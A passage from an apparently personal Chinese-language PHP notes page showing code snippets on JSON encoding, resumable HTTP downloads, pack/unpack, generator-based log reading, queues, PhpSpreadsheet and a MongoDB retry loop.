class="number">1</span><span class="string">":2,"</span><span class="number">2</span><span class="string">":3,"</span><span class="number">3</span><span class="string">":4&#125;"</span></span><br><span class="line">&gt;&gt;&gt; json_encode($a,JSON_FORCE_OBJECT);</span><br><span class="line">=&gt; <span class="string">"&#123;"</span><span class="number">0</span><span class="string">":1,"</span><span class="number">1</span><span class="string">":2,"</span><span class="number">2</span><span class="string">":3,"</span><span class="number">3</span><span class="string">":4&#125;"</span></span><br><span class="line">&gt;&gt;&gt; json_encode($a,JSON_FORCE_OBJECT|JSON_PRETTY_PRINT);</span><br><span class="line">=&gt; <span class="string">""</span><span class="string">"</span></span><br><span class="line"><span class="string">   &#123;\n</span></span><br><span class="line"><span class="string">       "</span><span class="number">0</span><span class="string">": 1,\n</span></span><br><span class="line"><span class="string">       "</span><span class="number">1</span><span class="string">": 2,\n</span></span><br><span class="line"><span class="string">       "</span><span class="number">2</span><span class="string">": 3,\n</span></span><br><span class="line"><span class="string">       "</span><span class="number">3</span><span class="string">": 4\n</span></span><br><span class="line"><span class="string">   &#125;</span></span><br><span class="line"><span class="string">   "</span><span class="string">""</span></span><br></pre></td></tr></table></figure>
<h3 id="断点续传"><a href="#断点续传" class="headerlink" title="断点续传"></a>断点续传</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileDownload</span></span>&#123; <span class="comment">// class start  </span></span><br><span class="line">    private $_speed = <span class="number">512</span>;   <span class="comment">// 下载速度  </span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/** 下载</span></span><br><span class="line"><span class="comment">     * @param String  $file   要下载的文件路径</span></span><br><span class="line"><span class="comment">     * @param String  $name   文件名称,为空则与下载的文件名称一样</span></span><br><span class="line"><span class="comment">     * @param boolean $reload 是否开启断点续传</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">download</span>(<span class="params">$file, $name=<span class="string">''</span>, $reload=false</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(file_exists($file))&#123;</span><br><span class="line">            <span class="keyword">if</span>($name==<span class="string">''</span>)&#123;</span><br><span class="line">                $name = basename($file);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            $fp = fopen($file, <span class="string">'rb'</span>);</span><br><span class="line">            $file_size = filesize($file);</span><br><span class="line"></span><br><span class="line">            $ranges = $<span class="keyword">this</span>-&gt;getRange($file_size);</span><br><span class="line"></span><br><span class="line">            header(<span class="string">'cache-control:public'</span>);</span><br><span class="line">            header(<span class="string">'content-type:application/octet-stream'</span>);</span><br><span class="line">            header(<span class="string">'content-disposition:attachment; filename='</span>.$name);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span>($reload &amp;&amp; $ranges!=<span class="literal">null</span>)&#123; <span class="comment">// 使用续传  </span></span><br><span class="line">                header(<span class="string">'HTTP/1.1 206 Partial Content'</span>);</span><br><span class="line">                header(<span class="string">'Accept-Ranges:bytes'</span>);</span><br><span class="line">                <span class="comment">// 剩余长度  </span></span><br><span class="line">                header(sprintf(<span class="string">'content-length:%u'</span>,$ranges[<span class="string">'end'</span>]-$ranges[<span class="string">'start'</span>]));</span><br><span class="line">                <span class="comment">// range信息  </span></span><br><span class="line">                header(sprintf(<span class="string">'content-range:bytes %s-%s/%s'</span>, $ranges[<span class="string">'start'</span>], $ranges[<span class="string">'end'</span>], $file_size));</span><br><span class="line">                <span class="comment">// fp指针跳到断点位置  </span></span><br><span class="line">                fseek($fp, sprintf(<span class="string">'%u'</span>, $ranges[<span class="string">'start'</span>]));</span><br><span class="line">            &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                header(<span class="string">'HTTP/1.1 200 OK'</span>);</span><br><span class="line">                header(<span class="string">'content-length:'</span>.$file_size);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">while</span>(!feof($fp))&#123;</span><br><span class="line">                echo fread($fp, round($<span class="keyword">this</span>-&gt;_speed*<span class="number">1024</span>,<span class="number">0</span>));</span><br><span class="line">                ob_flush();</span><br><span class="line">                sleep(<span class="number">1</span>); <span class="comment">// 用于测试,减慢下载速度  </span></span><br><span class="line">            &#125;</span><br><span class="line">            ($fp!=<span class="literal">null</span>) &amp;&amp; fclose($fp);</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">''</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/** 设置下载速度</span></span><br><span class="line"><span class="comment">     * @param int $speed</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">setSpeed</span>(<span class="params">$speed</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(is_numeric($speed) &amp;&amp; $speed&gt;<span class="number">16</span> &amp;&amp; $speed&lt;<span class="number">4096</span>)&#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;_speed = $speed;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/** 获取header range信息</span></span><br><span class="line"><span class="comment">     * @param  int   $file_size 文件大小</span></span><br><span class="line"><span class="comment">     * @return Array</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line"></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">getRange</span>(<span class="params">$file_size</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(isset($_SERVER[<span class="string">'HTTP_RANGE'</span>]) &amp;&amp; !empty($_SERVER[<span class="string">'HTTP_RANGE'</span>]))&#123;</span><br><span class="line">            $range = $_SERVER[<span class="string">'HTTP_RANGE'</span>];</span><br><span class="line">            $range = preg_replace(<span class="string">'/[\s|,].*/'</span>, <span class="string">''</span>, $range);</span><br><span class="line">            $range = explode(<span class="string">'-'</span>, substr($range, <span class="number">6</span>));</span><br><span class="line">            <span class="keyword">if</span>(count($range)&lt;<span class="number">2</span>)&#123;</span><br><span class="line">                $range[<span class="number">1</span>] = $file_size;</span><br><span class="line">            &#125;</span><br><span class="line">            $range = array_combine(array(<span class="string">'start'</span>,<span class="string">'end'</span>), $range);</span><br><span class="line">            <span class="keyword">if</span>(empty($range[<span class="string">'start'</span>]))&#123;</span><br><span class="line">                $range[<span class="string">'start'</span>] = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span>(empty($range[<span class="string">'end'</span>]))&#123;</span><br><span class="line">                $range[<span class="string">'end'</span>] = $file_size;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> $range;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$file = <span class="string">'book.zip'</span>;  </span><br><span class="line">$name = time().<span class="string">'.zip'</span>;  </span><br><span class="line">$obj = <span class="keyword">new</span> FileDownload();  </span><br><span class="line">$flag = $obj-&gt;download($file, $name);  </span><br><span class="line"><span class="comment">//$flag = $obj-&gt;download($file, $name, true); // 断点续传  </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!$flag)&#123;</span><br><span class="line">    echo <span class="string">'file not exists'</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="字节处理函数pack-unpack"><a href="#字节处理函数pack-unpack" class="headerlink" title="字节处理函数pack unpack"></a>字节处理函数pack unpack</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">将数据打包成二进制字符串https:<span class="comment">//learnku.com/articles/25414#topnav</span></span><br><span class="line">var_dump(pack(<span class="string">'C'</span>, <span class="number">80</span>))<span class="comment">//P</span></span><br><span class="line">var_dump(pack(<span class="string">'C*'</span>, <span class="number">80</span>, <span class="number">72</span>, <span class="number">80</span>)) <span class="comment">//PHP</span></span><br><span class="line">var_dump(unpack(<span class="string">'C'</span>, <span class="string">'P'</span>))<span class="comment">//[1=&gt;80]</span></span><br><span class="line">var_dump(unpack(<span class="string">'C*'</span>, <span class="string">'PHP'</span>)) <span class="comment">//</span></span><br><span class="line">unpack(<span class="string">'H*hello/C*world'</span>, <span class="string">'PHP'</span>)</span><br><span class="line"></span><br><span class="line">[</span><br><span class="line">     <span class="string">"hello"</span> =&gt; <span class="string">"504850"</span>,</span><br><span class="line">     <span class="string">"world1"</span> =&gt; <span class="number">80</span>,</span><br><span class="line">     <span class="string">"world2"</span> =&gt; <span class="number">72</span>,</span><br><span class="line">     <span class="string">"world3"</span> =&gt; <span class="number">80</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">unpack(<span class="string">'H*/C*'</span>, <span class="string">'PHP'</span>)</span><br><span class="line"></span><br><span class="line">[</span><br><span class="line">     <span class="number">1</span> =&gt; <span class="number">80</span>,</span><br><span class="line">     <span class="number">2</span> =&gt; <span class="number">72</span>,</span><br><span class="line">     <span class="number">3</span> =&gt; <span class="number">80</span>,</span><br><span class="line">]</span><br><span class="line">$pack = unpack(<span class="string">'C*'</span>, <span class="string">'\x00\x10'</span>)</span><br><span class="line"></span><br><span class="line">$tmp = array_map(<span class="function"><span class="keyword">function</span> (<span class="params">$val</span>) </span>&#123;</span><br><span class="line">        $val = base_convert($val, <span class="number">10</span>, <span class="number">2</span>);</span><br><span class="line">        $val = str_pad($val, <span class="number">8</span>, <span class="number">0</span>, STR_PAD_LEFT);</span><br><span class="line">        <span class="keyword">return</span> $val;</span><br><span class="line">    &#125;, $pack);</span><br><span class="line"></span><br><span class="line">echo implode(<span class="string">' '</span>, $tmp);</span><br><span class="line"></span><br><span class="line"><span class="number">01011100</span> <span class="number">01111000</span> <span class="number">00110000</span> <span class="number">00110000</span> <span class="number">01011100</span> <span class="number">01111000</span> <span class="number">00110001</span> <span class="number">00110000</span></span><br></pre></td></tr></table></figure>
<h3 id="文件yield"><a href="#文件yield" class="headerlink" title="文件yield"></a>文件yield</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取所有符合条件的日志内容https://learnku.com/laravel/t/25396#reply83796</span></span><br><span class="line"><span class="comment">     *https://github.com/y-ui/laravel-running-time/blob/master/src/Commands/RunningTimeCommand.php</span></span><br><span class="line"><span class="comment">     * @return array</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected <span class="function"><span class="keyword">function</span> <span class="title">getLogFiles</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $files = [];</span><br><span class="line">        $days = $<span class="keyword">this</span>-&gt;end-&gt;diff($<span class="keyword">this</span>-&gt;start)-&gt;format(<span class="string">'%a'</span>);</span><br><span class="line">        <span class="keyword">for</span> ($n = <span class="number">0</span>; $n &lt;= $days; $n++) &#123;</span><br><span class="line">            $files[] = $<span class="keyword">this</span>-&gt;logPath . <span class="string">'/'</span> . $<span class="keyword">this</span>-&gt;start-&gt;format(<span class="string">'Y-m-d'</span>) . <span class="string">'.log'</span>;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;start-&gt;modify(<span class="string">'+1 days'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        $contents = [];</span><br><span class="line">        foreach ($files <span class="keyword">as</span> $file) &#123;</span><br><span class="line">            <span class="keyword">if</span> (file_exists($file)) &#123;</span><br><span class="line">                <span class="comment">//默认还是使用file函数读取，但是使用yield，有效减少了多个日志文件统计时的内存开销，因为数据越多使用fgets花费时间越多，400W数据时 时间差达到了100%</span></span><br><span class="line">                <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;option(<span class="string">'lessMemory'</span>)) &#123;</span><br><span class="line">                    $fp = fopen($file, <span class="string">'r'</span>);</span><br><span class="line">                    <span class="keyword">while</span> (($line = fgets($fp)) !== <span class="literal">false</span>) &#123;</span><br><span class="line">                        <span class="keyword">yield</span> $line;</span><br><span class="line">                    &#125;</span><br><span class="line">                    fclose($fp);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="keyword">yield</span> file($file);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $contents;</span><br><span class="line">    &#125;</span><br><span class="line">$logs = $<span class="keyword">this</span>-&gt;getLogFiles();</span><br><span class="line">        $pathTimes = $times = [];</span><br><span class="line">        foreach ($logs <span class="keyword">as</span> $log) &#123;</span><br><span class="line">            list($time, $path) = explode(<span class="string">'||'</span>, rtrim($log));</span><br><span class="line">            <span class="keyword">if</span> (!isset($pathTimes[$path])) &#123;</span><br><span class="line">                $pathTimes[$path] = [</span><br><span class="line">                    <span class="string">'path'</span> =&gt; $path,</span><br><span class="line">                    <span class="string">'max'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">                    <span class="string">'min'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">                    <span class="string">'count'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">                    <span class="string">'total'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">                ];</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> ($time &gt; $pathTimes[$path][<span class="string">'max'</span>]) $pathTimes[$path][<span class="string">'max'</span>] = $time;</span><br><span class="line">            <span class="keyword">if</span> ($time &lt; $pathTimes[$path][<span class="string">'min'</span>]) $pathTimes[$path][<span class="string">'min'</span>] = $time;</span><br><span class="line">            ++$pathTimes[$path][<span class="string">'count'</span>];</span><br><span class="line">            $pathTimes[$path][<span class="string">'total'</span>] += $time;</span><br><span class="line">        &#125;</span><br><span class="line">           register_shutdown_function(__NAMESPACE__ . <span class="string">'\RunningTimeCommand::errorHandle'</span>);</span><br><span class="line">public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">errorHandle</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $error = error_get_last();</span><br><span class="line">        <span class="keyword">if</span> ($error &amp;&amp; stripos($error[<span class="string">'message'</span>], <span class="string">'Allowed memory size of'</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">            echo <span class="string">"\n Warnning: Out of memory! you can run command with --lessMemory to reduce memory usage\n"</span>;</span><br><span class="line">            exit;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<h3 id="队列"><a href="#队列" class="headerlink" title="队列"></a>队列</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line">队列是一种特殊的线性表(链表)，特殊之处在于它只允许在表的前端（front）进行删除操作，而在表的后端（rear）进行插入操作(FIFO)，和栈一样，队列是一种操作受限制的线性表。进行插入操作的端称为队尾，进行删除操作的端称为队头。</span><br><span class="line"> 队列是先进先出https:<span class="comment">//learnku.com/articles/25814</span></span><br><span class="line">队列中数据元素之间的关系是一对一的关系，即除了第一个和最后一个数据元素之外，其它数据元素都是首尾相接的。</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Node</span></span>&#123;</span><br><span class="line">    public $data;</span><br><span class="line">    public $next;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$data,$next=null</span>)</span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;data = $data;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;next = $next;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Queue</span></span>&#123;</span><br><span class="line">    public $front = <span class="literal">null</span>;</span><br><span class="line">    public $rear = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    public $size = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">push</span>(<span class="params">$data</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $n = <span class="keyword">new</span> Node($data);</span><br><span class="line">        <span class="keyword">if</span>($<span class="keyword">this</span>-&gt;front == <span class="literal">null</span> &amp;&amp; $<span class="keyword">this</span>-&gt;rear == <span class="literal">null</span>)&#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;front = $n;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;rear = $n;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;rear-&gt;next = $n;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;rear  = $n;</span><br><span class="line">        &#125;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;size++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">shift</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>($<span class="keyword">this</span>-&gt;front)&#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;size--;</span><br><span class="line">            $data = $<span class="keyword">this</span>-&gt;front-&gt;data;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;front = $<span class="keyword">this</span>-&gt;front-&gt;next;</span><br><span class="line">            <span class="keyword">return</span> $data;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// $s = new Queue();</span></span><br><span class="line"><span class="comment">// $s-&gt;push("aaaa");</span></span><br><span class="line"><span class="comment">// $s-&gt;push("bb");</span></span><br><span class="line"><span class="comment">// $s-&gt;push("cc");</span></span><br><span class="line"><span class="comment">// $s-&gt;push("dd");</span></span><br><span class="line"><span class="comment">// $s-&gt;push("fifo");</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// // echo $s-&gt;shift();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// while($data = $s-&gt;shift())&#123;</span></span><br><span class="line"><span class="comment">//  echo $data."&lt;br&gt;";</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//数组实现队列https://learnku.com/articles/25814</span></span><br><span class="line"><span class="comment">// $arr = [];</span></span><br><span class="line"><span class="comment">// array_push($arr,"张三");</span></span><br><span class="line"><span class="comment">// array_push($arr,"李四");</span></span><br><span class="line"><span class="comment">// array_push($arr,"王五");</span></span><br><span class="line"><span class="comment">// array_push($arr,"王六");</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// while($data  = array_shift($arr))&#123;</span></span><br><span class="line"><span class="comment">//  echo $data."&lt;br&gt;";</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br><span class="line"><span class="comment">//数组实现队列</span></span><br><span class="line"> $arr = [];<span class="comment">//定义一个数组队列</span></span><br><span class="line"> array_push($arr,<span class="string">"张三"</span>);<span class="comment">//压入到队列尾部</span></span><br><span class="line"> array_push($arr,<span class="string">"李四"</span>);</span><br><span class="line"> array_push($arr,<span class="string">"王五"</span>);</span><br><span class="line"> array_push($arr,<span class="string">"王六"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>($data  = array_shift($arr))&#123;<span class="comment">//从头部弹出一个队列数据</span></span><br><span class="line">    echo $data.<span class="string">"&lt;br&gt;"</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>
<h3 id="PhpSpreadsheet-实现读取写入-Execl"><a href="#PhpSpreadsheet-实现读取写入-Execl" class="headerlink" title="PhpSpreadsheet 实现读取写入 Execl"></a>PhpSpreadsheet 实现读取写入 Execl</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">composer <span class="built_in">require</span> phpoffice/phpspreadsheet</span><br><span class="line"><span class="built_in">require</span><span class="string">'vendor/autoload.php'</span>;</span><br><span class="line">usePhpOffice\PhpSpreadsheet\Spreadsheet;</span><br><span class="line">usePhpOffice\PhpSpreadsheet\Writer\Xlsx;</span><br><span class="line">https:<span class="comment">//laravelacademy.org/post/19518.html</span></span><br><span class="line"> $spreadsheet = <span class="keyword">new</span> Spreadsheet();</span><br><span class="line"> $sheet = $spreadsheet-&gt;getActiveSheet();</span><br><span class="line"> $sheet-&gt;setCellValue(<span class="string">'A1'</span>, <span class="string">'Hello World !'</span>);$writer = <span class="keyword">new</span> Xlsx($spreadsheet);</span><br><span class="line"> $writer-&gt;save(<span class="string">'hello world.xlsx'</span>);</span><br></pre></td></tr></table></figure>
<h3 id="重试机制"><a href="#重试机制" class="headerlink" title="重试机制"></a>重试机制</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$retry = <span class="number">2</span>;<span class="comment">//http://liuxiaochun.cn/2018/08/10/php-mongoclient-no-candidate-servers-found-%E5%88%86%E6%9E%90/</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        $mongo = <span class="keyword">new</span> MongoClient(<span class="string">"mongodb://127.0.0.1:27018"</span>,</span><br><span class="line">                      array(</span><br><span class="line">                   <span class="string">'replicaSet'</span> =&gt; <span class="string">'rs0'</span>,</span><br><span class="line">                           <span class="string">'connect'</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">                           <span class="string">'connectTimeoutMS'</span> =&gt; <span class="number">10000</span></span><br><span class="line">                ));</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span>(MongoException $e) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="number">0</span> == $retry--) &#123;</span><br><span class="line">            <span class="comment">//log</span></span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">while</span>($retry);</span><br></pre></td></tr></table></figure>
